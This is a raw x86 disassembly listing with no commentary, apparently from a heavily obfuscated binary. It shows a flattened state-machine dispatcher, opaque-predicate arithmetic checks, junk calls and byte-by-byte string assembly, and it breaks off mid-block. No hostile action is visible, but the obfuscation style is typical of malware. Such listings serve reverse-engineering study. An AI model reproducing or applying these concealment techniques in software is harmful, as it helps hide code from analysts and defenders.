cmp eax, 0x51d32d19
jne 0x439de4
mov dword [esi + 4], 0x866b7bf9
jmp 0x439de4
cmp eax, 0xc8356202
jle 0x43c69b
cmp eax, 0xc8356203
je 0x43dd57
cmp eax, 0xc87144d5
je 0x43dd89
cmp eax, 0xc8eefda3
jne 0x439de4
mov eax, dword [esi + 8]
shl eax, 0xc
or eax, 0x94
imul ecx, eax, 0x73
lea eax, [ecx - 0x1d]
mov dword [esi + 8], eax
mov eax, 0x11a645dd
cmp ecx, 0x59
jge 0x43b4b1
mov eax, 0x48c37501
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x10e5194f
jle 0x43c6e2
cmp eax, 0x10e51950
je 0x43dda7
cmp eax, 0x11382793
je 0x43ddd9
cmp eax, 0x11a645dd
jne 0x439de4
mov eax, dword [esi + 8]
shr eax, 9
imul ebx, eax, 0x8b684
add ebx, 0xfffffff3
mov dword [esi + 8], ebx
push ebx
push 0x5970
push 0x6121
call fcn.0042a26c
add esp, 0xc
push 0x4bf4
push ebx
push 0x2456
push 0x3125
call fcn.0043ec70
add esp, 0x10
mov eax, 0x66d8f922
cmp ebx, 0x34
jae 0x43b531
mov eax, 0x6974e1de
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xabf48848
jle 0x43c730
cmp eax, 0xabf48849
je 0x43dde5
cmp eax, 0xac006f05
je 0x43de3c
cmp eax, 0xac5fe779
jne 0x439de4
mov eax, dword [esi + 0xc]
add eax, 0x57
imul ecx, eax, 0x6e40
imul eax, eax
imul edx, eax, 0x8029
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xe7a5b604
cmp edx, eax
je 0x43b58c
mov ecx, 0x892dc24b
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x6b2ca037
jle 0x43c790
cmp eax, 0x6b2ca038
je 0x43de5a
cmp eax, 0x6bb23f40
je 0x43de83
cmp eax, 0x6d1e5bbd
jne 0x439de4
imul edi, dword [esi + 8], 0xb338
add edi, 0xffcac688
mov dword [esi + 8], edi
push edi
call fcn.00439dcc
add esp, 4
mov eax, 0x24c4ac5f
cmp edi, 0xf2
jge 0x43b5eb
mov eax, 0x1300cda0
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xebcb402e
jle 0x43c7c5
cmp eax, 0xebcb402f
je 0x43dea8
cmp eax, 0xedddc983
je 0x43dec5
cmp eax, 0xeff2e948
jne 0x439de4
push 6
push 0x46efa4
push 0xa
push dword [esi + 0x100]
call fcn.0043eb40
add esp, 0x10
mov dword [esi + 4], 0xb0ae65cd
jmp 0x439de4
cmp eax, 0x43c33c98
jle 0x43c7e7
cmp eax, 0x43c33c99
je 0x43dede
cmp eax, 0x44a5b3ed
je 0x43deea
cmp eax, 0x44a8ae69
jne 0x439de4
mov dword [esi + 0x124], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x90], eax
mov dword [esi + 4], 0x5963f80b
jmp 0x439de4
cmp eax, 0x9ce38987
je 0x43df50
cmp eax, 0x9d83e824
je 0x43df70
cmp eax, 0x9e3e6a69
jne 0x439de4
mov dword [esi + 4], 0x5c3dcc02
jmp 0x439de4
cmp eax, 0x5e3e7f9b
je 0x43df9e
cmp eax, 0x5ed7de2e
je 0x43dfd4
cmp eax, 0x5ef3a07c
jne 0x439de4
mov eax, dword [esi + 0x70]
mov dword [esi + 4], 0x4cfdc644
jmp 0x439de4
cmp eax, 0xdbb284e8
je 0x43dfe0
cmp eax, 0xdf1a8d80
je 0x43dff7
cmp eax, 0xe0196d78
jne 0x439de4
push 1
push 0x8000
call fcn.00457663
add esp, 8
mov dword [esi + 0x110], eax
mov dword [esi + 4], 0xbd25fd98
jmp 0x439de4
cmp eax, 0x23ed04b4
je 0x43e00f
cmp eax, 0x24ae5f8a
je 0x43e02c
cmp eax, 0x24c4ac5f
jne 0x439de4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x64], eax
mov dword [esi + 4], 0xd7f59a15
jmp 0x439de4
cmp eax, 0xb70048b5
je 0x43e064
cmp eax, 0xb7228b91
je 0x43e097
cmp eax, 0xb76d1135
jne 0x439de4
imul eax, dword [esi + 0xc], 0x488000
add eax, 0x75d0000
shr eax, 7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8a09f1a1
jmp 0x439de4
cmp eax, 0x7e308d03
je 0x43e0bf
cmp eax, 0x7f650479
je 0x43e0e7
cmp eax, 0x7fc7bb20
jne 0x439de4
mov eax, dword [esi + 8]
shr eax, 1
imul ecx, eax, 0x770
mov dword [esi + 8], ecx
mov eax, 0x48c37501
cmp ecx, 0x9d
jae 0x43b7e5
mov eax, 0xd7f59a15
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x1e4a00
je 0x43e10e
cmp eax, 0x69f4ad
je 0x43e142
cmp eax, 0x1fe1638
jne 0x439de4
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xf8], eax
mov eax, dword [esi + 0xf8]
mov word [eax + 0x18], 0
push 0x18
push 0x46ef70
push dword [esi + 0xf8]
call fcn.00447850
add esp, 0xc
mov dword [esi + 4], 0x825aab18
jmp 0x439de4
cmp eax, 0x2d2eb519
je 0x43e14e
cmp eax, 0x2faba793
jne 0x43eb1c
mov eax, dword [esi + 0xa0]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0xa0]
mov cl, byte [0x47b1c3]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47b1bf]
mov dword [eax + 8], ecx
mov ecx, dword [0x47b1bb]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b1b7]
mov dword [eax], ecx
push 5
push 0x47b1c4
push 0xd
push dword [esi + 0xa0]
call fcn.0043ec70
add esp, 0x10
mov dword [esi + 4], 0x5e3e7f9b
jmp 0x439de4
cmp eax, 0x80713ab0
je 0x43e1a1
cmp eax, 0x825aab18
jne 0x439de4
mov eax, dword [esi + 0xc]
lea ecx, [eax + 0xee]
imul ecx, ecx
imul edx, ecx, 0x295
add eax, 0x115
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xb97d3f16
cmp edx, ecx
je 0x43b8f2
mov eax, 0xeff5112
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x46d6d1cb
je 0x43e1b0
cmp eax, 0x4836b842
jne 0x439de4
mov eax, dword [esi + 0xc]
add eax, eax
add eax, 0x15e
shr eax, 5
imul ecx, eax, 0x270000
imul eax, eax
imul edx, eax, 0x20c1
dec edx
add ecx, 0xdf65c052
mov dword [esi + 0xc], ecx
mov ecx, 0xfc1b5cbe
cmp edx, eax
je 0x43b944
mov ecx, 0x6508c43c
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0xb77d2fbc
je 0x43e1d4
cmp eax, 0xb853afcd
jne 0x439de4
mov eax, dword [esi + 0xc]
mov ecx, 0xfffffeb5
add eax, ecx
imul ecx, eax, 0xc4
imul eax, eax
imul edx, eax, 0x7e15
dec edx
add ecx, 0xffffff42
mov dword [esi + 0xc], ecx
mov ecx, 0x54bdfdf1
cmp eax, edx
je 0x43b993
mov ecx, 0xbcf9755f
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x21b7f17
je 0x43e1fe
cmp eax, 0x48ef760
jne 0x439de4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c0]
mov dword [eax + 0x10], ecx
mov dword [esi + 4], 0x2931a872
jmp 0x439de4
cmp eax, 0x9e4e3fe8
je 0x43e20a
cmp eax, 0x9ec4daa9
jne 0x439de4
mov eax, dword [esi + 0xc]
add eax, eax
add eax, 0xfffffe12
shr eax, 0xb
mov ecx, eax
shl ecx, 0xc
imul eax, eax
imul edx, eax, 0x2baf
dec edx
or ecx, 0x93
mov dword [esi + 0xc], ecx
mov ecx, 0x41d92439
cmp eax, edx
je 0x43ba12
mov ecx, 0x2b4829da
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x5f61c8e0
je 0x43e24d
cmp eax, 0x5ff14786
jne 0x439de4
imul eax, dword [esi + 8], 0xc200
add eax, 0xffaa467a
mov dword [esi + 8], eax
mov dword [esi + 4], 0xa0844262
jmp 0x439de4
cmp eax, 0xe0f47d0b
je 0x43e277
cmp eax, 0xe291ce19
jne 0x439de4
mov eax, dword [esi + 0xc]
mov ecx, 0xcd
add eax, ecx
shr eax, 0xf
imul ecx, eax, 0x62
imul eax, eax
add ecx, 0xffffda7c
lea edx, [eax + eax*8]
shr ecx, 7
lea edx, [eax + edx*2]
dec edx
add ecx, 0x6d
mov dword [esi + 0xc], ecx
mov ecx, 0xd37c3660
cmp edx, eax
je 0x43ba98
mov ecx, 0xd19c6e24
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x33f31bd9
je 0x43e295
cmp eax, 0x34264d8d
jne 0x439de4
mov ebx, dword [esi + 8]
shr ebx, 4
add ebx, 0xffffff13
mov dword [esi + 8], ebx
push ebx
call fcn.00439dcc
add esp, 4
push 0x57c4
push 0x398b
push ebx
push 0x2cdd
call fcn.0043ec70
add esp, 0x10
mov eax, 0xa70b7a5f
cmp ebx, 0xec
je 0x43baf8
mov eax, 0x124e43ce
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x8f1e0318
je 0x43e2ca
cmp eax, 0x91509484
jne 0x439de4
imul ebx, dword [esi + 8], 0xae
add ebx, 0x11a
mov dword [esi + 8], ebx
push 0x229e
push 0x3a63
push 0x5fc2
push ebx
call fcn.0043eb40
add esp, 0x10
mov eax, 0xd19c6e24
cmp ebx, 0xe0
jge 0x43bb50
mov eax, 0x531bdc85
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x531bdc85
je 0x43e2f9
cmp eax, 0x544a648a
jne 0x439de4
mov eax, dword [esi + 8]
shr eax, 1
imul edi, eax, 0x25f80000
mov dword [esi + 8], edi
push 0x6322
push 0x5b1
push 0x1af0
push edi
call fcn.0043ec70
add esp, 0x10
mov eax, 0x66d8f922
cmp edi, 0xc
jl 0x43bba3
mov eax, 0x6974e1de
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xc97b0f5c
je 0x43e329
cmp eax, 0xca68a4bb
jne 0x439de4
mov eax, dword [esi + 0xc]
add eax, 0x7c
shr eax, 6
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5717
dec edx
add eax, 0xfffffdea
mov dword [esi + 0xc], eax
mov eax, 0x7dab546c
cmp edx, ecx
je 0x43bbec
mov eax, 0x80713ab0
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x124e43ce
je 0x43e36d
cmp eax, 0x12b4627a
jne 0x439de4
mov dword [esi + 4], 0x54bdfdf1
jmp 0x439de4
cmp eax, 0xad664ca7
je 0x43e3a4
cmp eax, 0xad6c71dc
jne 0x439de4
mov eax, dword [esi + 0x9c]
mov byte [eax + 0xa], 0
mov eax, dword [esi + 0x9c]
movzx ecx, word [0x47b1b0]
mov word [eax + 8], cx
mov ecx, dword [0x47b1ac]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b1a8]
mov dword [eax], ecx
push 5
push 0x47b1b2
push 0xa
push dword [esi + 0x9c]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x38]
mov ecx, dword [esi + 0x9c]
mov edx, dword [ecx + 7]
mov dword [eax + 7], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x38]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x34]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0x9394c1b3
jmp 0x439de4
cmp eax, 0x6f12b219
je 0x43e3d5
cmp eax, 0x6f1d3270
jne 0x439de4
mov ebx, dword [esi + 8]
add ebx, 0xffffffad
mov eax, ebx
shr eax, 0xf
imul eax, eax, 0x2c00
mov dword [esi + 8], eax
push eax
call fcn.00439dcc
add esp, 4
mov eax, 0x9d05032
cmp ebx, 0x8000
jb 0x43bcf5
mov eax, 0x38e745d6
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xf11269bb
je 0x43e3e1
cmp eax, 0xf1b064c1
jne 0x439de4
push 6
push 0x47b286
push 0xc
push dword [esi + 0xc0]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x60]
mov ecx, dword [esi + 0xc0]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x60]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x11c]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x1a8], eax
mov dword [esi + 4], 0xeb136a04
jmp 0x439de4
cmp eax, 0x26f2d5a5
je 0x43e3fe
cmp eax, 0x27da3245
jne 0x439de4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x78], eax
mov dword [esi + 4], 0x9187a371
jmp 0x439de4
cmp eax, 0x89ecbea8
je 0x43e40a
cmp eax, 0x8a09f1a1
jne 0x439de4
mov eax, dword [esi + 0x78]
mov word [eax + 0x14], 0
mov dword [esi + 4], 0xe0f47d0b
jmp 0x439de4
cmp eax, 0x4d69ac90
je 0x43e427
cmp eax, 0x4db70e68
jne 0x439de4
imul ebx, dword [esi + 8], 0x2bc0
add ebx, 0x27ec0
mov eax, ebx
shr eax, 0xb
mov dword [esi + 8], eax
push 0x2c9
push eax
push 0x51af
push 0xc86
call fcn.0043eb40
add esp, 0x10
call fcn.00408d96
mov eax, 0x7fc7bb20
cmp ebx, 0x72800
jb 0x43be38
mov eax, 0x6d1e5bbd
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xc1f8ed49
je 0x43e447
cmp eax, 0xc3ca6584
jne 0x439de4
imul eax, dword [esi + 0xc], 0x7a8000
add eax, 0xe800
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xccf78174
jmp 0x439de4
cmp eax, 0xf0d7feb
je 0x43e467
cmp eax, 0xf147251
jne 0x439de4
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xf0]
mov dword [esi + 0x1e0], eax
mov dword [esi + 4], 0x21b7f17
jmp 0x439de4
cmp eax, 0xa70b7a5f
je 0x43e47c
cmp eax, 0xa733cc37
jne 0x439de4
mov ebx, dword [esi + 8]
shl ebx, 0x14
mov dword [esi + 8], ebx
push 0x2b43
push 0x4495
push 0x33f7
push ebx
call fcn.0043ec70
add esp, 0x10
call fcn.00408d96
mov eax, 0x2b4829da
test ebx, ebx
je 0x43befb
mov eax, 0x3f12fa67
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x6508c43c
je 0x43e4b6
cmp eax, 0x65ed1883
jne 0x439de4
mov eax, dword [esi + 0x194]
mov word [eax], 0xa
mov eax, dword [esi + 0x58]
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xb4], eax
mov dword [esi + 4], 0xc97b0f5c
jmp 0x439de4
cmp eax, 0xe88a10db
je 0x43e4cc
cmp eax, 0xe96d4746
jne 0x439de4
mov eax, dword [esi + 8]
add eax, 0xffffffbd
shr eax, 1
imul ecx, eax, 0xac
shr ecx, 7
add ecx, 0xffffffe9
mov dword [esi + 8], ecx
mov eax, 0x31eef73b
cmp ecx, 0x32
jae 0x43bf7b
mov eax, 0xdb7dcd1f
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x3e11c0be
je 0x43e50e
cmp eax, 0x3f12fa67
jne 0x439de4
mov eax, dword [esi + 8]
and eax, 0xfffffffc
shl eax, 0xc
or eax, 0x7e
mov dword [esi + 8], eax
push eax
call fcn.00439dcc
add esp, 4
call fcn.00408d96
mov dword [esi + 4], 0x9187a371
jmp 0x439de4
cmp eax, 0x948b4e36
je 0x43e520
cmp eax, 0x95a6045c
jne 0x439de4
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x7c]
imul eax, eax
imul edx, eax, 0x7113
dec edx
shl ecx, 4
add ecx, 0xfffffa68
mov dword [esi + 0xc], ecx
mov ecx, 0x892dc24b
cmp edx, eax
je 0x43c002
mov ecx, 0x5aad65f8
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x5b16845c
je 0x43e553
cmp eax, 0x5b1f0cf1
jne 0x439de4
imul edi, dword [esi + 8], 0x75
add edi, 0x348f
mov dword [esi + 8], edi
push 0x2fb9
push edi
push 0x49cb
call fcn.0042a26c
add esp, 0xc
mov eax, 0xcc903aaa
cmp edi, 0x44
jl 0x43c04f
mov eax, 0x44a8ae69
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xd3aab5a4
je 0x43e583
cmp eax, 0xd3f82c57
jne 0x439de4
imul eax, dword [esi + 0xc], 0x1440
add eax, 0xffffff6c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xfebd88ce
jmp 0x439de4
cmp eax, 0x1b1eb891
je 0x43e5b7
cmp eax, 0x1b8136c5
jne 0x439de4
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 8]
mov dword [esi + 0x17c], eax
mov eax, dword [esi + 0x1c]
add eax, 4
mov dword [esi + 0x180], eax
mov dword [esi + 4], 0xb97d3f16
jmp 0x439de4
cmp eax, 0xb0ae65cd
je 0x43e5c6
cmp eax, 0xb20ffb79
jne 0x439de4
imul edi, dword [esi + 8], 0x2e9c00
add edi, 0xffaa7280
mov dword [esi + 8], edi
push 0x2949
push edi
push 0x4e0c
call fcn.0042a26c
add esp, 0xc
mov eax, 0x38e745d6
cmp edi, 0xb8
jge 0x43c10d
mov eax, 0x50f6e66b
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x742fe649
je 0x43e5f6
cmp eax, 0x74984231
jne 0x439de4
push 1
push 0x800
call fcn.00457663
add esp, 8
mov dword [esi + 0x114], eax
mov dword [esi + 4], 0x1b8136c5
jmp 0x439de4
cmp eax, 0xfc1b5cbe
je 0x43e61c
cmp eax, 0xfc661b1c
jne 0x439de4
mov dword [esi + 4], 0x27da3245
jmp 0x439de4
cmp eax, 0x2fb8494e
je 0x43e658
cmp eax, 0x30648f0b
jne 0x439de4
push 7
push 0x47b2bd
push 0x1d
push dword [esi + 0xfc]
call fcn.0043ec70
add esp, 0x10
push 0x1e
push dword [esi + 0xfc]
push dword [esi + 0x6c]
call fcn.00447850
add esp, 0xc
mov dword [esi + 4], 0xfe7153dc
jmp 0x439de4
cmp eax, 0x85feac09
je 0x43e691
cmp eax, 0x866b7bf9
jne 0x439de4
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov dword [esi + 0x1b4], eax
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov dword [esi + 0x1b8], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1ac]
mov dword [eax], ecx
mov eax, dword [esi + 0x14]
add eax, 4
mov dword [esi + 0x1bc], eax
mov dword [esi + 4], 0x18fafddd
jmp 0x439de4
cmp eax, 0x4b420ae1
je 0x43e69d
cmp eax, 0x4c23bd11
jne 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 4
imul eax, eax, 0xb4
add eax, 0x163
shr eax, 2
imul eax, eax, 0xd2
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x72e61f71
jmp 0x439de4
cmp eax, 0xbb90c67c
je 0x43e6c3
cmp eax, 0xbc179828
jne 0x439de4
mov ebx, dword [esi + 8]
mov edi, ebx
shr edi, 0xa
add edi, 0xffffff33
mov dword [esi + 8], edi
push edi
call fcn.00439dcc
add esp, 4
push edi
call fcn.00439dcc
add esp, 4
mov eax, 0x2fb8494e
cmp ebx, 0x55c00
jae 0x43c2b9
mov eax, 0x24ae5f8a
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xa8fd1b9
je 0x43e6d6
cmp eax, 0xaa1ae03
jne 0x439de4
imul eax, dword [esi + 8], 0x2e18
add eax, 0x1c3
mov dword [esi + 8], eax
call fcn.00408d96
call fcn.00408d96
mov dword [esi + 4], 0x9e4e3fe8
jmp 0x439de4
cmp eax, 0xa2476e8f
je 0x43e70a
cmp eax, 0xa3175afd
jne 0x439de4
mov eax, dword [esi + 0xc]
add eax, 0xffffffe7
imul ecx, eax, 0xc2
imul eax, eax
imul edx, eax, 0x74c5
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x27fb91c6
cmp edx, eax
je 0x43c339
mov ecx, 0x6f12b219
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x61b129bd
je 0x43e731
cmp eax, 0x62bfa6e7
jne 0x439de4
mov ebx, dword [esi + 8]
shl ebx, 0x14
mov dword [esi + 8], ebx
push ebx
call fcn.00439dcc
add esp, 4
push 0x79
push 0x13ca
push ebx
call fcn.0042a26c
add esp, 0xc
mov eax, 0x27da3245
test ebx, ebx
je 0x43c387
mov eax, 0x9d05032
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xe5cca162
je 0x43e765
cmp eax, 0xe5dfa1d0
jne 0x439de4
mov eax, dword [esi + 0x160]
mov word [eax], 0xa
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0x948b4e36
jmp 0x439de4
cmp eax, 0x38c87238
je 0x43e794
cmp eax, 0x38e745d6
jne 0x439de4
xor ebx, ebx
inc ebx
push ebx
mov edi, 0x20
push edi
call fcn.00457663
add esp, 8
mov dword [esi + 0x104], eax
push ebx
push edi
call fcn.00457663
add esp, 8
mov dword [esi + 0x108], eax
push 0xa
push dword [esi + 0x104]
push dword [esi + 0x128]
call fcn.00455cb8
add esp, 0xc
mov dword [esi + 4], 0x66d8f922
jmp 0x439de4
cmp eax, 0x937bbf6b
je 0x43e7c5
cmp eax, 0x9394c1b3
jne 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 3
imul ecx, eax, 0x6f00
imul eax, eax
imul edx, eax, 0x5ca3
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xcca0ae10
cmp edx, eax
je 0x43c45f
mov ecx, 0xc693a5f4
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x57d1dc79
je 0x43e7f1
cmp eax, 0x582958df
jne 0x439de4
mov ecx, dword [esi + 8]
shl ecx, 7
add ecx, 0x103
mov dword [esi + 8], ecx
mov eax, 0x46d6d1cb
cmp ecx, 0x3b
jge 0x43c49b
mov eax, 0x42bd2fc1
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xd07c9f2c
je 0x43e7fd
cmp eax, 0xd19c6e24
jne 0x439de4
mov eax, dword [esi + 0x150]
mov word [eax], 0
mov dword [esi + 4], 0x24ae5f8a
jmp 0x439de4
cmp eax, 0x15c1292f
je 0x43e83c
cmp eax, 0x1679ca20
jne 0x439de4
mov eax, dword [esi + 0xc]
and eax, 0xffffff80
shl eax, 0xe
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8a30bdf1
jmp 0x439de4
cmp eax, 0xaf90a898
je 0x43e8d5
cmp eax, 0xafae64a0
jne 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 0x12
and eax, 0xfff
imul ecx, eax, 0x4638
imul eax, eax
imul edx, eax, 0x56b7
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x3e11c0be
cmp edx, eax
je 0x43c540
mov ecx, 0x43746018
mov dword [esi + 4], ecx
jmp 0x439de4
cmp eax, 0x72a94833
je 0x43e90a
cmp eax, 0x72ba1575
jne 0x439de4
imul ebx, dword [esi + 8], 0x3400000
add ebx, 0xfffd4000
mov dword [esi + 8], ebx
push 0xeba
push ebx
push 0x3d18
push 0x19a6
call fcn.0043ec70
add esp, 0x10
push ebx
call fcn.00439dcc
add esp, 4
mov eax, 0x99afacd4
cmp ebx, 0x6a
jge 0x43c59e
mov eax, 0xbb90c67c
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xf80ef965
je 0x43e92f
cmp eax, 0xfb24f015
jne 0x439de4
mov eax, dword [esi + 0x2c]
mov dword [eax], 0x8000
mov dword [esi + 4], 0xafae64a0
jmp 0x439de4
cmp eax, 0x296a30b4
je 0x43e961
cmp eax, 0x2b4829da
jne 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x13c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x84], eax
mov dword [esi + 4], 0x4836b842
jmp 0x439de4
cmp eax, 0x8b854bf1
je 0x43e9bd
cmp eax, 0x8c69e346
jne 0x439de4
imul eax, dword [esi + 8], 0x45
shr eax, 0x11
imul ecx, eax, 0xd9
mov dword [esi + 8], ecx
mov eax, 0xe0196d78
cmp ecx, 0x7f
jb 0x43c647
mov eax, 0x1300cda0
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x50e13ecb
je 0x43e9f5
cmp eax, 0x50f6e66b
jne 0x439de4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x140]
mov dword [esi + 0x144], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
add eax, 0xf
mov dword [esi + 0x148], eax
mov dword [esi + 4], 0x6325024d
jmp 0x439de4
cmp eax, 0xc693a5f4
je 0x43ea12
cmp eax, 0xc813c3f7
jne 0x439de4
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0xf6]
imul ecx, ecx
imul edx, ecx, 0x5377
dec edx
add eax, 0xfffffdbc
mov dword [esi + 0xc], eax
mov eax, 0x8545688
cmp ecx, edx
je 0x43c6da
mov eax, 0x605430bd
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xfe595c0
je 0x43ea2f
cmp eax, 0x106df04d
jne 0x439de4
mov ebx, dword [esi + 8]
add ebx, 0xfffffffe
mov dword [esi + 8], ebx
push 0x1e44
push 0x1d2e
push 0x6356
push ebx
call fcn.0043eb40
add esp, 0x10
mov eax, 0xdb7dcd1f
cmp ebx, 0x27
je 0x43c728
mov eax, 0x742fe649
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0xa9dcb452
je 0x43ea57
cmp eax, 0xab29176d
jne 0x439de4
mov eax, dword [esi + 8]
shr eax, 0x1c
imul ebx, eax, 0x9b4
mov dword [esi + 8], ebx
push 0x5bef
push ebx
push 0x1168
push 0x333c
call fcn.0043eb40
add esp, 0x10
push ebx
call fcn.00439dcc
add esp, 4
mov eax, 0xa8fd1b9
cmp ebx, 0xa4
jae 0x43c788
mov eax, 0x5ce1c3eb
mov dword [esi + 4], eax
jmp 0x439de4
cmp eax, 0x6974e1de
je 0x43ea8f
cmp eax, 0x69b6f6d0
jne 0x439de4
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0xfffe6c00
and eax, 0xffffc000
mov dword [esi + 8], eax
mov dword [esi + 4], 0x99afacd4
jmp 0x439de4
cmp eax, 0xeb8fa61f
je 0x43eaaf
cmp eax, 0xeba808fb
jne 0x439de4
mov dword [esi + 4], 0x2c737f8a
jmp 0x439de4
cmp eax, 0x42bd2fc1
je 0x43eace
cmp eax, 0x43746018
jne 0x439de4
push eax
sub esp, 0x18
mov ebx, esp
mov word [ebx + 0x18], 0
push 0x18
push 0x46ef20
push ebx
call fcn.00447850
add esp, 0xc
push 8
push 0x46ef38
push 0xc
push ebx
call fcn.0043eb40
add esp, 0x10
push ebx
push 0x23fef64a
call fcn.00442630
add esp, 8
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0x8371e051
jmp 0x439de4
mov eax, dword [esi + 0xc]
mov ecx, 0xfffffed8
add eax, ecx
mov ecx, eax
imul ecx, eax
shr eax, 0x14
and eax, 0x1ff
imul edx, ecx, 0x66c3
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xc97b0f5c
cmp ecx, edx
je 0x43c87a
mov eax, 0xb007f694
mov dword [esi + 4], eax
jmp 0x439de4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x60], eax
mov dword [esi + 4], 0x968581c2
jmp 0x439de4
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x164]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x3c]
mov dword [esi + 4], 0xf1da4ac8
jmp 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], 0x926682c1
jmp 0x439de4
mov eax, dword [esi + 0xc]
sub eax, 0xffffff80
shr eax, 7
imul ecx, eax, 0x6d380
imul eax, eax
imul edx, eax, 0x3e65
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xb266ff11
cmp eax, edx
je 0x43c922
mov ecx, 0x5f61c8e0
mov dword [esi + 4], ecx
jmp 0x439de4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi + 4], 0x2faba793
jmp 0x439de4
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a0]
mov word [eax + ecx], pe_nt_image_headers32
push dword [esi + 0x108]
push dword [esi + 0x10]
call fcn.00458950
